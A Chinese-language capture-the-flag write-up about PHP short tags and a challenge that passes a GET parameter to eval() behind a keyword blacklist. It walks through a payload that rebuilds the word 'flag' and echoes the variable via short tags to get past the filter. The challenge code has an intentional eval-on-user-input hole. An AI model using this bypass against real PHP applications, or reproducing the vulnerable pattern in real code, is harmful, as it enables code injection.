0x00 解题须知
在php中
<? ?>和<?= ?>是短标签而<?php ?>是长标签
其中<?= 是代替 <? echo的
php.ini文件 可以配置php 是否可以解析短标签
short_open_tag = On
示例如下:
0x01 解题
<?php
error_reporting(0);
require __DIR__.'/flag.php';
$exam = 'return\''.sha1(time()).'\';';
if (!isset($_GET['flag'])) {
echo '<a href="./?flag='.$exam.'">Click here</a>';
}
else if (strlen($_GET['flag']) != strlen($exam)) {
echo '长度不允许';
}
else if (preg_match('/`|"|\.|\\\\|\(|\)|\[|\]|_|flag|echo|print|require|include|die|exit/is', $_GET['flag'])) {
echo '关键字不允许';
}
else if (eval($_GET['flag']) === sha1($flag)) {
echo $flag;
}
else {
echo '马老师发生甚么事了';
}
echo '<hr>';
highlight_file(__FILE__);
由代码可知 如果想要输出 $flag
必须
1.get传参 flag
2.flag值的长度得和$exam的长度一样 测试后者长度为49
3.不允许 存在 ' " . \\\\ ( ) [ ] _ flag echo print require include die exit is 等字符
4.eval($_GET['flag']) 结果要等于 sha1($flag)
可以从 eval() 代码执行函数这里做文章
想办法 让 该函数 直接执行 输出 $flag
$a= 'fla1'; //因为 flag 不可以直接出现 可以用 赋值某一位的值替换
$a{3}='g';
?> //再用闭合前面的 <?php
<?=$$a;?> //短标签输出$flag
不足49的长度 差多少 用1补齐 或者刚好三个<?=$$a;?> 输出flag刚好49位
payload 为
$a='fla1';$a{3}='g';?><?=$$a;?><?=$$a;?><?=$$a;?>
可以本地测试 短标签
<?php
$flag = 123 ;
eval('$a="fla1"; $a{3}="g"; ?> 111111111 <?=$$a;?> <?php echo $$a ?>' );
?>